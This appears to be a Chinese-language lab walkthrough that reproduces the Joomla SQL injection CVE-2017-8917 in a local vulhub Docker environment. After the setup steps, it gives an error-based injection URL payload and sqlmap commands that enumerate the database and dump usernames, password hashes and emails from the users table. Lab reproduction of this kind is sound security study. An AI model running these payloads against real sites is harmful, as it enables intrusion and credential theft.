1.安装docker
docker pull medicean/vulapps:j_joomla_2
2.安装docker-compose
docker run -d -p 8000:80 medicean/vulapps:j_joomla_2
3.下载vulhub
Docker Compose是 docker 提供的一个命令行工具,用来定义和运行由多个容器组成的应用,而docker-compose.yml是它的配置文件。
进入vulhb目录下的joomla,复现CVE-2017-8917漏洞:
cd /home/kali/vulhub/joomla/CVE-2017-8917
查看docker-compose的配置文件:
cat docker-compose.yml
如图,里面有两个镜像文件的信息,还有容器名字:
然后使用下面命令,搭建docker-compose并启动:
docker-compose up -d && docker-compose up -d
如图:
环境搭建成功后,在浏览器中输入本机地址加之前配置文件中的端口10.9.75.45:8080进入Joomla环境:
配置网站,输入用户名和密码,密码设为root,点击下一步:
配置数据库账户密码,输入之前在配置文件中看到的数据库信息,点击下一步:
用户:root
密码:vulhub
数据库名:joomla
成功后点击安装,安装成功后点击删除installation目录(重要):
环境启动成功后刷新,页面跳转并出现报错信息,这时候可以用SQL注入中的报错注入来获取数据库信息,在URL中输入:
?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
成功回显当前用户名:
在kali中输入下面命令,获取数据库名,注入点为list:
sqlmap -u "http://10.9.75.45:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)" --dbs
,输入下面命令,查看Joomla数据库中的表:
sqlmap -u "http://10.9.75.45:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -D joomla --tables
第一个交互选n,第二个直接回车,列出57个表名,其中比较重要的表示users:
查看users表中的内容:
–dump列表中指定列的内容
sqlmap -u "http://10.9.75.45:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)" -D joomla -T '#__users' -C username,password,email --dump
成功获得了用户名、加密的密码和之前输入的邮箱: